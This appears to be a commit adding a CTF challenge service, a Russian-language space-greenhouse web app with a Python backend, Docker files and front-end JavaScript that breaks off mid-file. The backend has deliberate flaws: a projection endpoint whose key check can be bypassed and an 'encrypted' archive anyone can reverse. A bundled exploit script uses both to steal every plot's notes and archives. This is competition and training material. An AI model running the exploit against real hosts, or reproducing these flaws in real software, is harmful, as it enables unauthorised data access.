feat: goctf final

This commit is contained in:
TakuyaYagam1 committed 2026-10-29 10:55:49 +03:00
commit f205b802d5
128 files changed
+37794

No files matched your search

+3
View File
@@ -0,0 +1,3 @@
**/__pycache__
*.pyc
.git
+6
View File
@@ -0,0 +1,6 @@
greenhouse-console.id*
greenhouse-console.nam
greenhouse-console.til
greenhouse-console.i*
**/__pycache__/
*.pyc
View File
Whitespace-only changes.
+18
View File
@@ -0,0 +1,18 @@
FROM python:3.12-slim
WORKDIR /greenhouse
COPY native/greenhouse-console /greenhouse/greenhouse-console
COPY native/patch_console.py /tmp/patch_console.py
COPY app/ /greenhouse/app/
COPY frontend/ /greenhouse/frontend/
COPY start.sh /greenhouse/start.sh
RUN python3 /tmp/patch_console.py /greenhouse/greenhouse-console \
&& rm /tmp/patch_console.py \
&& chmod +x /greenhouse/greenhouse-console /greenhouse/start.sh \
&& mkdir -p /data \
&& useradd -m -u 10001 greenhouse \
&& chown greenhouse:greenhouse /data
USER greenhouse
ENV GREENHOUSE_DATA=/data PORT=8080
VOLUME ["/data"]
EXPOSE 8080
CMD ["/greenhouse/start.sh"]
+366
View File
@@ -0,0 +1,366 @@
import hashlib
import json
import mimetypes
import os
import re
import secrets
import socket
import sqlite3
import threading
import time
from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer
from pathlib import Path
from urllib.parse import parse_qs, urlsplit
ROOT = Path(__file__).resolve().parent.parent
DATA = Path(os.environ.get("GREENHOUSE_DATA", "/data"))
DATA.mkdir(parents=True, exist_ok=True)
DB = DATA / "greenhouse.sqlite3"
PUBLIC_ID = "public"
PUBLIC_TOKEN = "visitor"
CONSOLE_SOCKET = DATA / "console.sock"
CONSOLE_SESSIONS = {}
CONSOLE_LOCK = threading.Lock()
CONSOLE_IDLE_SECONDS = 30
CONSOLE_LIMIT = 64
HTTP_WORKERS = 48
HTTP_SOCKET_TIMEOUT = 5
class ConsoleSession:
def __init__(self):
self.socket = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
try:
self.socket.settimeout(4)
self.socket.connect(str(CONSOLE_SOCKET))
self.stream = self.socket.makefile("rwb", buffering=0)
self.lock = threading.Lock()
self.last_used = time.monotonic()
self.closed = False
self.banner = [self.read_line(), self.read_line()]
except Exception:
if hasattr(self, "stream"):
self.stream.close()
self.socket.close()
raise
def read_line(self):
line = self.stream.readline(65537)
if not line or len(line) > 65536 or not line.endswith(b"\n"):
raise ConnectionError("specimen console disconnected")
return line.decode("utf-8", errors="replace").rstrip("\r\n")
def command(self, line):
with self.lock:
if self.closed:
raise ConnectionError("operator session closed")
self.last_used = time.monotonic()
self.stream.write((line + "\n").encode())
reply = self.read_line()
self.last_used = time.monotonic()
return reply
def close(self):
with self.lock:
if self.closed:
return
self.closed = True
try:
self.stream.close()
finally:
self.socket.close()
def prune_consoles():
now = time.monotonic()
for session_id, session in list(CONSOLE_SESSIONS.items()):
if now - session.last_used > CONSOLE_IDLE_SECONDS:
CONSOLE_SESSIONS.pop(session_id, None)
session.close()
def connection():
db = sqlite3.connect(DB, timeout=3)
db.row_factory = sqlite3.Row
return db
def initialize_database():
with connection() as db:
db.execute("PRAGMA journal_mode=WAL")
db.execute("PRAGMA synchronous=NORMAL")
db.execute("""CREATE TABLE IF NOT EXISTS plots (
id TEXT PRIMARY KEY, token TEXT NOT NULL, name TEXT NOT NULL,
cultivar TEXT NOT NULL, note TEXT NOT NULL, archive TEXT NOT NULL,
created INTEGER DEFAULT (unixepoch()))""")
db.execute("""CREATE TABLE IF NOT EXISTS telemetry (
id INTEGER PRIMARY KEY, plot TEXT NOT NULL, kind TEXT NOT NULL,
value TEXT NOT NULL, created INTEGER DEFAULT (unixepoch()))""")
db.execute("CREATE INDEX IF NOT EXISTS telemetry_plot_id_idx ON telemetry(plot,id DESC)")
db.execute("INSERT OR IGNORE INTO plots(id,token,name,cultivar,note,archive) VALUES (?,?,?,?,?,?)",
(PUBLIC_ID, PUBLIC_TOKEN, "Публичный купол", "Helianthus orbitalis",
"Добро пожаловать на станцию ОРБИТА.КВАНТУМ", "Калибровка открытого контура"))
db.commit()
def row_public(row):
return {"id": row["id"], "name": row["name"], "cultivar": row["cultivar"],
"created": row["created"]}
def mask(id_, n):
out = []
counter = 0
while len(out) < n:
out.extend(hashlib.sha256(f"orbita-spectrum:{id_}:{counter}".encode()).digest())
counter += 1
return out[:n]
class Handler(BaseHTTPRequestHandler):
server_version = "OrbitaOrangery/2126"
def log_message(self, fmt, *args):
print("%s %s" % (self.address_string(), fmt % args), flush=True)
def log_request(self, code="-", size="-"):
try:
if int(code) >= 500:
super().log_request(code, size)
except (TypeError, ValueError):
super().log_request(code, size)
def log_error(self, fmt, *args):
if fmt.startswith("Request timed out"):
return
super().log_error(fmt, *args)
def reply(self, code, payload):
body = json.dumps(payload, ensure_ascii=False, separators=(",", ":")).encode()
self.send_response(code)
self.send_header("Content-Type", "application/json; charset=utf-8")
self.send_header("Cache-Control", "no-store")
self.send_header("Content-Length", str(len(body)))
self.end_headers()
self.wfile.write(body)
def body(self):
length = int(self.headers.get("Content-Length", "0"))
if length > 8192 or length < 0:
raise ValueError("payload too large")
return json.loads(self.rfile.read(length))
def token(self, query):
return self.headers.get("X-Greenhouse-Key", "") or query.get("key", [""])[0]
def do_GET(self):
parts = urlsplit(self.path)
path = parts.path
q = parse_qs(parts.query, keep_blank_values=True)
if path == "/api/status":
return self.reply(200, {"station": "ОРБИТА.КВАНТУМ", "module": "ОРАНЖЕРЕЯ",
"year": 2126, "oxygen": 98.7, "temperature": 23.4,
"state": "nominal"})
if path.startswith("/api/"):
return self.get_api(path, q)
relative = path.lstrip("/") or "index.html"
if relative.startswith("frontend/"):
relative = relative.removeprefix("frontend/")
frontend = ROOT / "frontend"
target = (frontend / relative).resolve()
if not target.is_relative_to(frontend) or not target.is_file():
self.send_error(404)
return
content_type = mimetypes.guess_type(target.name)[0] or "application/octet-stream"
if target.suffix == ".js":
content_type = "text/javascript"
content = target.read_bytes()
self.send_response(200)
self.send_header("Content-Type", content_type + ("; charset=utf-8" if content_type.startswith("text/") or content_type in {"image/svg+xml", "application/json"} else ""))
self.send_header("Content-Length", str(len(content)))
self.end_headers()
self.wfile.write(content)
def get_api(self, path, q):
with connection() as db:
if path == "/api/plots":
rows = db.execute("SELECT * FROM plots ORDER BY created DESC LIMIT 100").fetchall()
return self.reply(200, {"plots": [row_public(r) for r in rows]})
if path.startswith("/api/plots/"):
id_ = path[len("/api/plots/"):]
row = db.execute("SELECT * FROM plots WHERE id=?", (id_,)).fetchone()
if row is None:
return self.reply(404, {"error": "unknown plot"})
if self.token(q) != row["token"]:
return self.reply(403, {"error": "capability required"})
return self.reply(200, {**row_public(row), "note": row["note"]})
if path == "/api/archive":
id_ = q.get("plot", [""])[0]
row = db.execute("SELECT * FROM plots WHERE id=?", (id_,)).fetchone()
if row is None:
return self.reply(404, {"error": "unknown plot"})
if self.token(q) != row["token"]:
return self.reply(403, {"error": "capability required"})
return self.reply(200, {"plot": id_, "archive": row["archive"]})
if path == "/api/telemetry":
id_ = q.get("plot", [""])[0]
rows = db.execute("SELECT kind,value,created FROM telemetry WHERE plot=? ORDER BY id DESC LIMIT 40", (id_,)).fetchall()
return self.reply(200, {"plot": id_, "telemetry": [dict(r) for r in rows]})
if path == "/api/projection":
target = q.get("target", [PUBLIC_ID])[0]
anchor = target.split("#", 1)[0]
anchor_row = db.execute("SELECT * FROM plots WHERE id=?", (anchor,)).fetchone()
if anchor_row is None or self.token(q) != anchor_row["token"]:
return self.reply(403, {"error": "lens capability required"})
focus = target.rsplit("#", 1)[-1]
row = db.execute("SELECT * FROM plots WHERE id=?", (focus,)).fetchone()
if row is None:
return self.reply(404, {"error": "no focus"})
if self.token(q) != row["token"]:
return self.reply(403, {"error": "focus capability required"})
return self.reply(200, {"anchor": anchor, "focus": focus,
"projection": {**row_public(row), "biometric_note": row["note"]}})
if path == "/api/spectrum":
id_ = q.get("plot", [""])[0]
row = db.execute("SELECT token,archive FROM plots WHERE id=?", (id_,)).fetchone()
if row is None:
return self.reply(404, {"error": "unknown plot"})
if self.token(q) != row["token"]:
return self.reply(403, {"error": "capability required"})
raw = row["archive"].encode()
salt = mask(id_, len(raw))
previous = 0
samples = []
for byte, offset in zip(raw, salt):
value = (byte + previous + offset) % 257
samples.append(value)
previous = value
return self.reply(200, {"plot": id_, "field": 257, "phase": "orbita-spectrum",
"samples": samples})
return self.reply(404, {"error": "unknown endpoint"})
def do_POST(self):
try:
payload = self.body()
if not isinstance(payload, dict):
raise ValueError("object expected")
if self.path == "/api/console/open":
with CONSOLE_LOCK:
prune_consoles()
if len(CONSOLE_SESSIONS) >= CONSOLE_LIMIT:
return self.reply(429, {"error": "operator channels busy"})
try:
console = ConsoleSession()
except (OSError, ConnectionError) as exc:
return self.reply(503, {"error": f"specimen console unavailable: {exc}"})
session_id = secrets.token_hex(16)
CONSOLE_SESSIONS[session_id] = console
return self.reply(201, {"session": session_id, "banner": console.banner})
if self.path == "/api/console/command":
session_id = payload.get("session")
line = payload.get("command")
if not isinstance(session_id, str) or not re.fullmatch(r"[0-9a-f]{32}", session_id):
raise ValueError("invalid operator session")
if not isinstance(line, str) or not line.strip() or len(line) > 1024 or any(c in line for c in "\r\n\x00"):
raise ValueError("invalid console command")
with CONSOLE_LOCK:
console = CONSOLE_SESSIONS.get(session_id)
if console is None:
return self.reply(404, {"error": "operator session expired"})
try:
result = console.command(line.strip())
except (OSError, ConnectionError) as exc:
with CONSOLE_LOCK:
CONSOLE_SESSIONS.pop(session_id, None)
console.close()
return self.reply(502, {"error": f"specimen console disconnected: {exc}"})
return self.reply(200, {"reply": result})
if self.path == "/api/console/close":
session_id = payload.get("session")
if not isinstance(session_id, str) or not re.fullmatch(r"[0-9a-f]{32}", session_id):
raise ValueError("invalid operator session")
with CONSOLE_LOCK:
console = CONSOLE_SESSIONS.pop(session_id, None)
if console is not None:
console.close()
return self.reply(200, {"ok": True})
if self.path == "/api/plots":
name = str(payload.get("name", ""))[:160]
cultivar = str(payload.get("cultivar", ""))[:160]
note = str(payload.get("note", ""))[:4000]
archive = str(payload.get("archive", ""))[:512]
if not name or not cultivar:
raise ValueError("name and cultivar required")
id_ = secrets.token_hex(8)
supplied = payload.get("key")
token = str(supplied) if supplied is not None else secrets.token_hex(16)
if not re.fullmatch(r"[0-9a-f]{32}", token):
raise ValueError("invalid capability")
with connection() as db:
db.execute("INSERT INTO plots(id,token,name,cultivar,note,archive) VALUES (?,?,?,?,?,?)",
(id_, token, name, cultivar, note, archive))
db.commit()
return self.reply(201, {"id": id_, "key": token})
if self.path == "/api/telemetry":
id_ = str(payload.get("plot", ""))
kind = str(payload.get("kind", ""))[:32]
value = str(payload.get("value", ""))[:128]
if not id_ or not kind:
raise ValueError("invalid telemetry")
with connection() as db:
if not db.execute("SELECT 1 FROM plots WHERE id=?", (id_,)).fetchone():
return self.reply(404, {"error": "unknown plot"})
db.execute("INSERT INTO telemetry(plot,kind,value) VALUES (?,?,?)", (id_, kind, value))
db.execute(
"""DELETE FROM telemetry WHERE plot=? AND id NOT IN (
SELECT id FROM telemetry WHERE plot=? ORDER BY id DESC LIMIT 256
)""",
(id_, id_),
)
db.commit()
return self.reply(201, {"ok": True})
return self.reply(404, {"error": "unknown endpoint"})
except (ValueError, json.JSONDecodeError) as exc:
return self.reply(400, {"error": str(exc)})
class BoundedThreadingHTTPServer(ThreadingHTTPServer):
daemon_threads = True
request_queue_size = 128
def __init__(self, server_address, handler):
self.worker_slots = threading.BoundedSemaphore(HTTP_WORKERS)
super().__init__(server_address, handler)
def get_request(self):
request, address = super().get_request()
request.settimeout(HTTP_SOCKET_TIMEOUT)
return request, address
def process_request(self, request, client_address):
if not self.worker_slots.acquire(blocking=False):
try:
request.sendall(
b"HTTP/1.0 503 Service Unavailable\r\n"
b"Connection: close\r\nContent-Length: 0\r\n\r\n"
)
except OSError:
pass
self.shutdown_request(request)
return
try:
super().process_request(request, client_address)
except BaseException:
self.worker_slots.release()
raise
def process_request_thread(self, request, client_address):
try:
super().process_request_thread(request, client_address)
finally:
self.worker_slots.release()
if __name__ == "__main__":
initialize_database()
BoundedThreadingHTTPServer(("0.0.0.0", int(os.environ.get("PORT", "8080"))), Handler).serve_forever()
+21
View File
@@ -0,0 +1,21 @@
name: greenhouse
services:
greenhouse:
platform: linux/amd64
build: .
restart: unless-stopped
ports:
- "8080:8080"
volumes:
- greenhouse_data:/data
pids_limit: 256
mem_limit: 512m
cpus: 1.0
healthcheck:
test: ["CMD", "python3", "-c", "import urllib.request; urllib.request.urlopen('http://127.0.0.1:8080/api/status', timeout=2)"]
interval: 5s
timeout: 3s
retries: 5
volumes:
greenhouse_data:
+127
View File
@@ -0,0 +1,127 @@
#!/usr/bin/env python3
"""Задание Neo для greenhouse: вытягивает note и archive чужих участков без их ключа."""
from __future__ import annotations
import hashlib
import json
import sys
from urllib.error import HTTPError, URLError
from urllib.parse import quote, urlsplit, urlunsplit
from urllib.request import Request, urlopen
TARGET_SCHEME = "http"
SERVICE_PORT = 8080
REQUEST_TIMEOUT = 8
USER_AGENT = "orbita-orangery/1.0"
ANCHOR_ID = "public"
ANCHOR_KEY = "visitor"
def base(target: str) -> str:
raw_target = target.strip()
if not raw_target:
raise ValueError("пустой адрес цели")
if "://" in raw_target:
raw_url = raw_target
else:
authority = raw_target
if authority.count(":") > 1 and not authority.startswith("["):
authority = f"[{authority}]"
raw_url = f"{TARGET_SCHEME}://{authority}"
parsed = urlsplit(raw_url)
if parsed.scheme not in {"http", "https"} or not parsed.hostname:
raise ValueError("ожидается адрес HTTP-сервиса")
if parsed.username or parsed.password or parsed.path not in {"", "/"}:
raise ValueError("укажите только адрес цели без учетных данных и пути")
if parsed.query or parsed.fragment:
raise ValueError("адрес цели не должен содержать query или fragment")
port = parsed.port
if port is None:
if "://" in raw_target:
port = 443 if parsed.scheme == "https" else 80
else:
port = SERVICE_PORT
if not 1 <= port <= 65535:
raise ValueError("порт должен быть от 1 до 65535")
hostname = parsed.hostname
host = f"[{hostname}]" if ":" in hostname else hostname
return urlunsplit((parsed.scheme, f"{host}:{port}", "", "", ""))
def fetch(url: str) -> dict:
request = Request(url, headers={"User-Agent": USER_AGENT, "Accept": "application/json"})
with urlopen(request, timeout=REQUEST_TIMEOUT) as response:
return json.loads(response.read(1 << 20).decode("utf-8", errors="replace"))
def keystream(plot_id: str, size: int) -> list[int]:
out: list[int] = []
counter = 0
while len(out) < size:
out.extend(hashlib.sha256(f"orbita-spectrum:{plot_id}:{counter}".encode()).digest())
counter += 1
return out[:size]
def recover_archive(plot_id: str, samples: list[int]) -> str:
salt = keystream(plot_id, len(samples))
previous = 0
raw = bytearray()
for value, offset in zip(samples, salt):
if not isinstance(value, int) or not 0 <= value < 257:
raise ValueError("неожиданный сэмпл спектра")
raw.append((value - previous - offset) % 257)
previous = value
return raw.decode("utf-8", errors="replace")
def run_exploit(target: str) -> list[str]:
root = base(target)
loot: list[str] = []
listing = fetch(f"{root}/api/plots")
plots = listing.get("plots", []) if isinstance(listing, dict) else []
ids = [str(p.get("id")) for p in plots if isinstance(p, dict) and p.get("id") is not None]
for plot_id in ids:
if plot_id == ANCHOR_ID:
continue
target_param = quote(f"{ANCHOR_ID}#{plot_id}", safe="")
try:
data = fetch(f"{root}/api/projection?target={target_param}&key={ANCHOR_KEY}")
note = data.get("projection", {}).get("biometric_note")
if isinstance(note, str) and note:
loot.append(note)
except (HTTPError, URLError, TimeoutError, ValueError, OSError) as exc:
print(f"projection {plot_id}: {exc}", file=sys.stderr)
try:
data = fetch(f"{root}/api/spectrum?plot={quote(plot_id, safe='')}")
samples = data.get("samples")
if isinstance(samples, list) and samples:
loot.append(recover_archive(plot_id, samples))
except (HTTPError, URLError, TimeoutError, ValueError, OSError) as exc:
print(f"spectrum {plot_id}: {exc}", file=sys.stderr)
return loot
def main() -> int:
if len(sys.argv) != 2:
print(f"Использование: {sys.argv[0]} HOST", file=sys.stderr)
return 2
try:
loot = run_exploit(sys.argv[1])
except (HTTPError, URLError, TimeoutError, ValueError, OSError) as exc:
print(f"Ошибка запроса к цели: {exc}", file=sys.stderr)
return 1
for item in loot:
print(item, flush=True)
print(f"собрано строк: {len(loot)}", file=sys.stderr)
return 0
if __name__ == "__main__":
raise SystemExit(main())
+228
View File
@@ -0,0 +1,228 @@
'use strict';
(() => {
const $ = selector => document.querySelector(selector);
const state = { plots: [], selected: null, detail: null, selectionVersion: 0, listLoaded: false };
const keyStorage = 'greenhouse.plot-keys.v1';
let plotKeys = Object.create(null);
try { const saved = JSON.parse(localStorage.getItem(keyStorage) || '{}'); if (saved && typeof saved === 'object' && !Array.isArray(saved)) Object.assign(plotKeys, saved); } catch {}
const keyFor = id => String(id) === 'public' ? 'visitor' : plotKeys[String(id)];
function saveKey(id, key) {
plotKeys[String(id)] = key;
try { localStorage.setItem(keyStorage, JSON.stringify(plotKeys)); return true; } catch { return false; }
}
const labels = { temperature: 'Температура', humidity: 'Влажность', oxygen: 'Кислород', biometrics: 'Биометрия', co2: 'Углекислый газ', light: 'Освещённость', ph: 'Кислотность' };
const text = value => value == null ? '—' : typeof value === 'object' ? JSON.stringify(value, null, 2) : String(value);
const node = (tag, className, content) => { const el = document.createElement(tag); if (className) el.className = className; if (content != null) el.textContent = text(content); return el; };
const idOf = plot => plot && typeof plot === 'object' ? plot.id ?? plot.plot_id : plot;
const unwrap = (data, key) => data && typeof data === 'object' ? data[key] ?? data.data ?? data : data;
function collection(data, keys) {
if (Array.isArray(data)) return data;
for (const key of [...keys, 'items', 'data']) {
if (Array.isArray(data?.[key])) return data[key];
if (data?.[key] && typeof data[key] === 'object') return collection(data[key], keys);
}
return data == null ? [] : [data];
}
async function api(path, payload, capability) {
const controller = new AbortController();
const timer = setTimeout(() => controller.abort(), 15000);
try {
const response = await fetch(`/api${path}`, { method: payload === undefined ? 'GET' : 'POST', headers: { Accept: 'application/json', ...(capability ? { 'X-Greenhouse-Key': capability } : {}), ...(payload === undefined ? {} : { 'Content-Type': 'application/json' }) }, ...(payload === undefined ? {} : { body: JSON.stringify(payload) }), signal: controller.signal, cache: 'no-store' });
const raw = await response.text();
let data;
try { data = raw ? JSON.parse(raw) : null; } catch { if (response.ok) throw new Error('Сервис вернул некорректный JSON.'); }
if (!response.ok) throw new Error(`Ошибка ${response.status}: ${text(data?.error ?? data?.message ?? response.statusText).slice(0, 240)}`);
return data;
} catch (error) {
if (error.name === 'AbortError') throw new Error('Станция не ответила за 15 секунд. Повторите запрос.');
if (error instanceof TypeError) throw new Error('Нет связи с API. Проверьте подключение к станции.');
throw error;
} finally { clearTimeout(timer); }
}
let toastTimer;
function toast(message) { $('#toast').textContent = message; $('#toast').hidden = false; clearTimeout(toastTimer); toastTimer = setTimeout(() => { $('#toast').hidden = true; }, 5000); }
function empty(target, message, error = false) { target.replaceChildren(node('p', error ? 'inline-error' : 'empty', message)); }
function renderPlots() {
const query = $('#plot-search').value.trim().toLocaleLowerCase('ru');
const filtered = state.plots.filter(plot => `${text(plot.name)} ${text(plot.cultivar)} ${text(idOf(plot))}`.toLocaleLowerCase('ru').includes(query));
const target = $('#plot-list'); target.replaceChildren();
if (!filtered.length) return empty(target, query ? 'Участки не найдены. Попробуйте другой запрос.' : 'Здесь пока нет участков. Создайте первый, чтобы начать наблюдения.');
for (const plot of filtered) {
const id = idOf(plot);
const button = node('button', 'plot-card'); button.type = 'button'; button.setAttribute('aria-pressed', String(String(id) === String(state.selected))); button.setAttribute('aria-controls', 'plot-detail');
const icon = node('span', 'plant-icon', '•'); icon.setAttribute('aria-hidden', 'true');
const copy = node('span', 'plot-card-copy'); copy.append(node('strong', '', plot.name ?? `Участок ${text(id)}`), node('small', '', plot.cultivar ?? 'Культура не указана'));
button.append(icon, copy, node('span', 'arrow', '↗'));
if (id == null) { button.disabled = true; button.title = 'API не передал идентификатор участка'; }
else button.addEventListener('click', () => selectPlot(id));
target.append(button);
}
}
function renderDetail(plot) {
const target = $('#plot-detail'); target.replaceChildren();
const top = node('div', 'detail-top'); top.append(node('span', 'eyebrow', 'Паспорт'), node('span', 'pill', `ID / ${text(idOf(plot) ?? state.selected)}`));
target.append(top, node('h3', '', plot.name ?? 'Участок'));
const dl = node('dl');
for (const [label, value] of [['Культура', plot.cultivar], ['Заметка', plot.note ?? 'Заметок пока нет.']]) dl.append(node('dt', '', label), node('dd', '', value));
target.append(dl);
}
function timestamp(value) { if (value == null) return ''; const date = new Date(typeof value === 'number' && value < 1e12 ? value * 1000 : value); return Number.isNaN(date.getTime()) ? text(value) : date.toLocaleString('ru-RU', { dateStyle: 'short', timeStyle: 'short' }); }
function renderRecords(target, data, archive) {
if (archive && typeof data?.archive === 'string') {
target.replaceChildren();
if (data.archive) target.append(node('pre', 'raw-data', data.archive));
else empty(target, 'Архив этого участка пока пуст.');
return;
}
const rows = collection(data, archive ? ['archive', 'records', 'entries'] : ['telemetry', 'records', 'readings']);
target.replaceChildren();
if (!rows.length) return empty(target, archive ? 'Архив этого участка пока пуст.' : 'Показаний пока нет. Добавьте первое наблюдение.');
for (const row of rows) {
if (row == null || typeof row !== 'object' || (!('kind' in row) && !('value' in row) && !('message' in row) && !('note' in row))) { target.append(node('pre', 'raw-data', row)); continue; }
const item = node('div', 'record'), copy = node('div');
copy.append(node('strong', '', labels[row.kind] ?? row.kind ?? row.title ?? 'Наблюдение'));
const date = timestamp(row.timestamp ?? row.created_at ?? row.created ?? row.time); if (date) copy.append(node('small', '', date));
item.append(copy, node('span', 'record-value', row.value ?? row.message ?? row.note)); target.append(item);
}
}
async function loadRecords(id, version, archive = false) {
const target = $(archive ? '#archive-content' : '#telemetry-content');
if (archive && !keyFor(id)) { target.removeAttribute('aria-busy'); empty(target, 'Для чтения архива нужен ключ доступа к этому участку. В этом браузере ключ не сохранён.'); return; }
empty(target, 'Получаем данные станции…'); target.setAttribute('aria-busy', 'true');
try {
const data = await api(`/${archive ? 'archive' : 'telemetry'}?plot=${encodeURIComponent(id)}`, undefined, archive ? keyFor(id) : undefined);
if (version !== state.selectionVersion) return;
renderRecords(target, data, archive);
} catch (error) { if (version === state.selectionVersion) empty(target, `${error.message} Нажмите «Обновить», чтобы повторить.`, true); }
finally { if (version === state.selectionVersion) target.removeAttribute('aria-busy'); }
}
async function selectPlot(id) {
state.selected = id; state.detail = null;
$('#selected-label').textContent = state.plots.find(plot => String(idOf(plot)) === String(id))?.name ?? `Участок ${id}`;
$('#key-form').hidden = Boolean(keyFor(id));
const version = ++state.selectionVersion;
renderPlots(); $('#open-telemetry').disabled = false;
empty($('#plot-detail'), 'Загружаем паспорт участка…'); $('#plot-detail').setAttribute('aria-busy', 'true');
const detailRequest = (async () => {
try {
if (!keyFor(id)) {
empty($('#plot-detail'), 'Нужен ключ доступа. Паспорт этого участка закрыт: создайте собственный участок или откройте его в браузере, где сохранён выданный ключ. Телеметрия доступна без ключа.');
return;
}
const plot = unwrap(await api(`/plots/${encodeURIComponent(id)}`, undefined, keyFor(id)), 'plot');
if (version !== state.selectionVersion) return;
if (!plot || typeof plot !== 'object' || Array.isArray(plot)) throw new Error('Сервис не вернул паспорт участка.');
state.detail = plot; renderDetail(plot); $('#open-telemetry').disabled = false;
} catch (error) { if (version === state.selectionVersion) { empty($('#plot-detail'), `${error.message} Нажмите «Обновить», чтобы повторить.`, true); $('#key-form').hidden = String(id) === 'public'; } }
finally { if (version === state.selectionVersion) $('#plot-detail').removeAttribute('aria-busy'); }
})();
await Promise.allSettled([detailRequest, loadRecords(id, version), loadRecords(id, version, true)]);
}
async function loadPlots() {
const data = await api('/plots');
state.plots = collection(data, ['plots']).map(plot => typeof plot === 'object' && plot !== null ? plot : { id: plot }); state.listLoaded = true;
$('#plot-count').textContent = state.plots.length; $('#nav-count').textContent = String(state.plots.length).padStart(2, '0'); $('#metric-plots').textContent = state.plots.length;
renderPlots();
}
async function loadStatus() {
try {
const data = await api('/status'); const status = data?.data ?? data;
const statusText = typeof status === 'string' ? status : status?.status ?? status?.state ?? (status?.ok === true ? 'ok' : 'На связи');
$('#metric-status').textContent = ({ nominal: 'В норме', ok: 'В норме', healthy: 'В норме', online: 'На связи', degraded: 'Внимание', error: 'Ошибка', offline: 'Не в сети' })[statusText] ?? text(statusText);
$('#metric-oxygen').textContent = text(status?.oxygen ?? status?.o2 ?? status?.oxygen_regeneration);
$('#metric-temperature').textContent = status?.temperature == null ? '—' : `${text(status.temperature)} °C`;
$('#last-update').textContent = `Обновлено в ${new Date().toLocaleTimeString('ru-RU', { hour: '2-digit', minute: '2-digit' })}`;
} catch (error) {
$('#metric-status').textContent = 'Нет данных'; $('#metric-oxygen').textContent = '—'; $('#metric-temperature').textContent = '—';
$('#last-update').textContent = 'Нет актуального ответа'; throw error;
}
}
let refreshing = false;
async function refresh() {
if (refreshing) return; refreshing = true; $('#refresh').disabled = true; $('#global-error').hidden = true;
const results = await Promise.allSettled([loadStatus(), loadPlots()]);
const failures = results.filter(result => result.status === 'rejected');
if (failures.length) {
$('#global-error').textContent = `${failures.map(result => result.reason.message).filter((v, i, a) => a.indexOf(v) === i).join(' ')} Нажмите «Обновить», чтобы повторить.${state.listLoaded && results[1].status === 'rejected' ? ' В реестре показаны ранее загруженные данные.' : ''}`; $('#global-error').hidden = false;
if (!state.listLoaded) empty($('#plot-list'), 'Реестр недоступен. Повторите загрузку кнопкой «Обновить».', true);
}
if (state.selected != null) await selectPlot(state.selected);
else if (state.plots.some(plot => String(idOf(plot)) === 'public')) await selectPlot('public');
refreshing = false; $('#refresh').disabled = false;
}
function openDialog(selector) { const dialog = $(selector); dialog.querySelector('.form-error').textContent = ''; dialog.showModal(); }
document.querySelectorAll('[data-close]').forEach(button => button.addEventListener('click', () => button.closest('dialog').close()));
document.querySelectorAll('dialog').forEach(dialog => dialog.addEventListener('cancel', event => { if (dialog.dataset.busy === 'true') event.preventDefault(); }));
$('#open-create').addEventListener('click', () => openDialog('#create-dialog'));
$('#open-telemetry').addEventListener('click', () => { if (state.selected == null) return; $('#telemetry-plot-name').textContent = `Участок: ${text(state.detail?.name ?? state.selected)}`; $('#telemetry-form').dataset.plot = state.selected; openDialog('#telemetry-dialog'); });
async function submit(event, operation) {
event.preventDefault(); const form = event.currentTarget, dialog = form.closest('dialog');
if (dialog.dataset.busy === 'true') return;
const payload = Object.fromEntries(new FormData(form));
for (const key of Object.keys(payload)) payload[key] = payload[key].trim();
const errorTarget = form.querySelector('.form-error'); errorTarget.textContent = '';
if (Object.entries(payload).some(([key, value]) => key !== 'note' && !value)) { errorTarget.textContent = 'Заполните обязательные поля.'; return; }
dialog.dataset.busy = 'true'; form.setAttribute('aria-busy', 'true');
const controls = [...form.querySelectorAll('button,input,textarea,select')]; controls.forEach(el => { el.disabled = true; });
try { await operation(payload, form, dialog); }
catch (error) { errorTarget.textContent = error.message; }
finally { dialog.dataset.busy = 'false'; form.removeAttribute('aria-busy'); controls.forEach(el => { el.disabled = false; }); }
}
$('#create-form').addEventListener('submit', event => submit(event, async (payload, form, dialog) => {
const data = await api('/plots', payload); const id = idOf(unwrap(data, 'plot'));
const created = unwrap(data, 'plot');
const key = created?.key ?? data?.key;
const stored = id != null && typeof key === 'string' && key ? saveKey(id, key) : null;
dialog.close(); form.reset(); toast('Участок создан. Ключ доступа сохранён.');
if (stored === false) { $('#global-error').textContent = 'Участок создан. Браузер запретил localStorage: ключ доступен только до перезагрузки этой страницы.'; $('#global-error').hidden = false; }
if (stored === null) { $('#global-error').textContent = 'Участок создан, но API не вернул ключ доступа. Паспорт и архив недоступны.'; $('#global-error').hidden = false; }
try { await loadPlots(); } catch (error) { $('#global-error').textContent = `Участок создан, но реестр не обновлён. ${error.message}`; $('#global-error').hidden = false; }
if (id != null) { $('#plot-search').value = ''; await selectPlot(id); showTerminal('plots', $('#terminal-launch')); }
else { $('#global-error').textContent = 'Участок создан, но API не вернул его ID. Выберите его в реестре или обновите список.'; $('#global-error').hidden = false; }
}));
$('#telemetry-form').addEventListener('submit', event => submit(event, async (payload, form, dialog) => {
const value = Number(payload.value); if (!Number.isFinite(value)) throw new Error('Введите конечное числовое значение.');
const plot = state.plots.find(item => String(idOf(item)) === form.dataset.plot);
const id = plot ? idOf(plot) : form.dataset.plot;
await api('/telemetry', { plot: id, kind: payload.kind, value }); dialog.close(); form.reset(); toast('Показание сохранено.');
if (String(state.selected) === String(id)) await Promise.allSettled([loadRecords(id, state.selectionVersion), loadRecords(id, state.selectionVersion, true)]);
}));
$('#plot-search').addEventListener('input', renderPlots); $('#refresh').addEventListener('click', refresh);
let terminalTrigger = null;
function showTerminal(panel, trigger) {
const terminal = $('#terminal');
if (trigger && !terminal.contains(trigger)) terminalTrigger = trigger;
terminal.hidden = false; document.body.classList.add('terminal-open'); terminal.dispatchEvent(new Event('greenhouse:raise'));
document.querySelectorAll('[data-panel]').forEach(section => { section.hidden = section.dataset.panel !== panel; });
document.querySelectorAll('[data-terminal]').forEach(button => {
const active = button.dataset.terminal === panel;
if (button.closest('.terminal-tabs')) button.setAttribute('aria-pressed', String(active));
else { button.setAttribute('aria-expanded', String(active)); button.setAttribute('aria-controls', 'terminal'); }
});
$('#terminal-title').textContent = { plots: 'Участки', telemetry: 'Телеметрия', archive: 'Архив наблюдений' }[panel];
$('#terminal-title').focus({ preventScroll: true });
}
function hideTerminal() {
$('#terminal').hidden = true; document.body.classList.remove('terminal-open');
document.querySelectorAll('[data-terminal][aria-expanded]').forEach(button => button.setAttribute('aria-expanded', 'false'));
(terminalTrigger ?? $('#terminal-launch')).focus({ preventScroll: true });
}
document.querySelectorAll('[data-terminal]').forEach(button => {
button.setAttribute('aria-controls', 'terminal');
